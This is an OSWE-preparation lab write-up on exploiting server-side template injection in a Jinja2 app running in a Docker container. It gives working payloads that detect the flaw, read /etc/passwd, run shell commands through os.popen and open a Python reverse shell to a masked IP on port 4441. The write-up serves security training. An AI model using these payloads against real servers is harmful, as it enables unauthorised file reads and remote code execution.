> For the complete documentation index, see [llms.txt](https://b1tbyte.gitbook.io/cheatsheets/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://b1tbyte.gitbook.io/cheatsheets/oswe/oswe-preparation-machines/ssti-server-side-template-injection.md).

# SSTI (Server-Side Template Injection)

## Fetching & Running The SSTI Vulnerable App

Run the below command to fetch the SSTI lab container

```jsx
sudo docker pull dockerbucket/ssti_env
```

<figure><img src="/files/SwSQOzPyObl1hdizl3bO" alt=""><figcaption></figcaption></figure>

The below command starts the container & runs the vulnerable app on port `60`

```jsx
 sudo docker run -p 60:60 dockerbucket/ssti_env python /root/vulncode.py
```

<figure><img src="/files/dtP8eJx8zDnF2GGvkT55" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4Hse6iHlX7VDkD322qpJ" alt=""><figcaption></figcaption></figure>

## SSTI (Server-Side Template Injection)

### 1 - Detect Where The Template Injection Exist & Validate The Vulnerability

**Note :** fire-up your proxy so we can intercept & observe the requests to be sent to the server

After browsing the app on `0.0.0.0:60` we can see a search field, and to detect the SSTI, we can use a simple payload (usually mathematical payloads are being used to see if the server does the calculation for us! if so, then we can confirm the vulnerability)

```jsx
{{3*2}}
```

<figure><img src="/files/Mu0zrdpEbvue9847qVZy" alt=""><figcaption></figcaption></figure>

and if we observe the request before forwarding it, we can see that we are injecting into the `username` parameter of the POST body

<div><figure><img src="/files/guaQw3Ujq92VjX754GCs" alt=""><figcaption></figcaption></figure> <figure><img src="/files/bBaC23PJRRaDeE4RSy4z" alt=""><figcaption></figcaption></figure></div>

After forwarding the request, we can see that the Server executed the equation for us and the result is reflected in the server response!

<figure><img src="/files/4YKvEQv4bxKoyStAr3Jx" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6I2Hnwp8kZq1yAVRU9Sb" alt=""><figcaption></figcaption></figure>

at this phase, we can conclude that the vulnerable Parameter is `username`

now, we will move to the next step, to identify the Template Engine

### 2 - Identify The Template Engine

as [@u0pattern\_cs](https://twitter.com/u0pattern_cs) mentioned in his [post](https://3alam.pro/1337r00t/articles/ssti) we can follow the approach presented in the below image to identify the Template Engine in use

<figure><img src="/files/XM1q3Nuv7gIyCBjS4hIb" alt=""><figcaption></figcaption></figure>

**Note:** we will follow the green arrow and If the injection fails, we will follow the red arrow.

from the previous step we used the `{{3*2}}` payload, so now we will move forward to the next test case and we will use the following payload

```jsx
{{3*’2’}}
```

and after forwarding the request , we received the following response from the server

<figure><img src="/files/6cRtGYJWRkQZQB9hr07k" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/PkItNACRM3SV5eUWHHWR" alt=""><figcaption></figcaption></figure>

if we analyze the server response we can say that the server is still executing our payload (the server prints `2` three times), so the Template Engine can be either [Jinja2](https://palletsprojects.com/p/jinja/) (for `Python`) or [Twig](https://twig.symfony.com/) (for `PHP`)

we will first start testing if it’s a `Python` Template Engine, we will use the below payload (for `Python 2`) which tries to dump the classes

```jsx
{{''.__class__.__mro__[2].__subclasses__()}}
```

and we can see in the below screenshots that we were able to dump the classes names

<div><figure><img src="/files/okOMRd6KJ7gvw1MwBIke" alt=""><figcaption></figcaption></figure> <figure><img src="/files/imY0nxSyWqPNlf8xla9c" alt=""><figcaption></figcaption></figure> <figure><img src="/files/QZTqnE0e32Gbb6vg3gjf" alt=""><figcaption></figcaption></figure></div>

so we can confirm from this phase that the Template Engine is [Jinja2](https://palletsprojects.com/p/jinja/)

### 3 - Exploit the Vulnerability

#### 3.1 - Reading `/etc/passwd`

After dumping the classes, we can utilize the `file` class to read the content of `/etc/passwd` , the class index is `40` and to confirm this we can use the below command to obtain the class name at that index

```jsx
{{''.__class__.__mro__[2].__subclasses__()[40]}}
```

<div><figure><img src="/files/WznZv7eO478sPcJgk0C2" alt=""><figcaption></figcaption></figure> <figure><img src="/files/Lrn3kPfiGscwsSwNzTus" alt=""><figcaption></figcaption></figure> <figure><img src="/files/KmOXyoc9xNKBqZX0UEoI" alt=""><figcaption></figcaption></figure></div>

Now we can call the `read()` function from the `File` class to read the content of `/etc/passwd`

```jsx
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
```

<div><figure><img src="/files/4s9SgGY5nPaxws8eMTKx" alt=""><figcaption></figcaption></figure> <figure><img src="/files/HY5akQcZ5Qti4Cmtgp9n" alt=""><figcaption></figcaption></figure> <figure><img src="/files/479R8EESr8Ore3rz60cv" alt=""><figcaption></figcaption></figure></div>

#### 3.2 `ls`

to execute bash commands in python we can utilize [os](https://docs.python.org/3/library/os.html) library, but how can we use this library in Jinja template engine ? we would need to use the `import` statement to bring the [os](https://docs.python.org/3/library/os.html) library into our context so we can call the library functions.

Sam mentioned in his [project-assignments](https://bowneconsultingcontent.com/pub/EH/proj/ED105.htm) for his students (which solved the same lab BTW!) that we can use the `catch_warnings` function to reach the `import`

I tried to build a payload that performs steps mentioned by Sam which are :

* looping over the classes
* for each class, we are searching for a function that has a “`warning`” string
* using the `catch_warnings` function to reach the `import`
* using `import` to import the `os.system`
* calling `popen` and passing our commands! (below we are passing `ls` command)

```jsx
{% for i in 'alaa'.__class__.__mro__[2].__subclasses__() %}{% if 'warning' in i.__name__ %}{{ i()._module.__builtins__['__import__']('os').popen('ls').read().zfill(417)}}{% endif %}{% endfor %}
```

after injecting this payload, we can see that we were able to perform `ls`

<div><figure><img src="/files/bQWNwxuGaI6jvJ6yzDco" alt=""><figcaption></figcaption></figure> <figure><img src="/files/K6cqVn7wwAZoUl2od0Mh" alt=""><figcaption></figcaption></figure> <figure><img src="/files/tdozJeOnhHyvVieibkni" alt=""><figcaption></figcaption></figure></div>

#### 3.3 Reverse Shell

Using the previous approach we can also obtain a reverse shell, but instead we will pass a python one-line script to the popen

```jsx
python -c 'socket=__import__(\\"socket\\");os=__import__(\\"os\\");pty=__import__(\\"pty\\");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"*.*.*.*\\",4441));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\"/bin/sh\\")'
```

so the final payload will be :

```jsx
{% for i in 'alaa'.__class__.__mro__[2].__subclasses__() %}{% if 'warning' in i.__name__ %}{{ i()._module.__builtins__['__import__']('os').popen("python -c 'socket=__import__(\\"socket\\");os=__import__(\\"os\\");pty=__import__(\\"pty\\");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"*.*.*.*\\",4441));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\"/bin/sh\\")'").read().zfill(417)}}{% endif %}{% endfor %}
```

and if we execute it we will successfully obtain the shell as can be seen below

<figure><img src="/files/ga9l4TrxGmCeQmedItIO" alt=""><figcaption></figcaption></figure>

**Note:**

* As the vulnerable application is installed in a docker container, to obtain a reverse shell I started another container in my machine (kali as you see), I’m not aware of how to pass connections between docker containers and other VMs or main host machine
